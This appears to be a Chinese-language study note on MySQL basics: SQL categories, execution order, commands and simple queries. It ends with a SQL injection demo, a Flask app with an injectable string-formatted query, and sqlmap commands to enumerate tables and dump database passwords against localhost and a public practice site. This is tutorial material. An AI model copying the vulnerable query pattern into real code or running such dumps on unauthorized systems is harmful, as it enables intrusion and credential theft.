常见数据库
数据库主要分为两种:关系型数据库以及非关系型数据库
常见的关系型数据库有Mysql、Oracal
常见的非关系型数据库有Memacach、Redis
数据库排行榜
https://db-engines.com/en/ranking
Mysql服务启动与关闭
启动
关闭
连接数据库
连接数据库
SQL语句分
DQL查询
查询
DML操作
对数据/记录进行增删改
DDL定义
设计表结构
对表字段进行增删改
TCL
事务机制
事务提交以及回滚
DCL
权限控制
授权以及撤销授权
SQL语句执行顺序
select * from 表名 where 条件 group by 分组 having … order by … limit…
执行顺序
(1)from
(2)where
(3)group by
(4)having
(5)select
(6)order by
(7)limit
基本命令
退出Mysql
exit
查看数据库
show databases
使用数据库
use 库名
创建数据库
create database 库名
查看表
show tables
查看数据库版本号
查看当前使用哪个数据库
select database()
终止命令输入
\c
查看表结构
简单查询
查找所有字段
select * from 表名
多字段查找
select 字段1,字段2 from 表名
给字段另起名字
1
| select 字段 as newName from 表名
|
as关键字可以省略
字段参与计算
1
| select score/3 as avgScore from student
|
条件查询
语法格式
1
| select * from 表名 where 条件
|
= 等于
<> != 不等于
< 小于
>= 大于等于
between and
is null
is not null
and
or
in
not in
like
通配符% 代表任意多个字符
通配符_ 代表一个任意字符
排序
1
| selcet * from 表名 order by 字段1 desc, 字段2 asc
|
SQL注入
Flask Web框架
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from flask import Flask, request import pymysql
app = Flask(__name__)
app.config['MYSQL_HOST'] = 'localhost' app.config['MYSQL_USER'] = 'root' app.config['MYSQL_PASSWORD'] = '123456' app.config['MYSQL_DB'] = 'test' app.config['MYSQL_CURSORCLASS'] = 'DictCursor'
mysql = pymysql.connect( host=app.config['MYSQL_HOST'], user=app.config['MYSQL_USER'], password=app.config['MYSQL_PASSWORD'], db=app.config['MYSQL_DB'], cursorclass=pymysql.cursors.DictCursor )
@app.route('/', methods=['GET']) def index(): username = request.args.get('username') cursor = mysql.cursor() sql = "SELECT * FROM t_user WHERE name = %s" % username print(sql) cursor.execute(sql) results = cursor.fetchall() cursor.close() return str(results)
if __name__ == '__main__': app.run()
|
脚本
https://github.com/sqlmapproject/sqlmap
正常查询
在项目目录下执行命令
1
| python sqlmap.py -u http://127.0.0.1:5000/?username=1 --batch
|
注入风险
获取网站数据库表
1
| python sqlmap.py -u http://127.0.0.1:5000/?username=1 --tables
|
获取数据库密码
1
| python sqlmap.py -u http://127.0.0.1:5000/?username=1 --password
|
靶向网站
http://testphp.vulnweb.com/artists.php?artist=1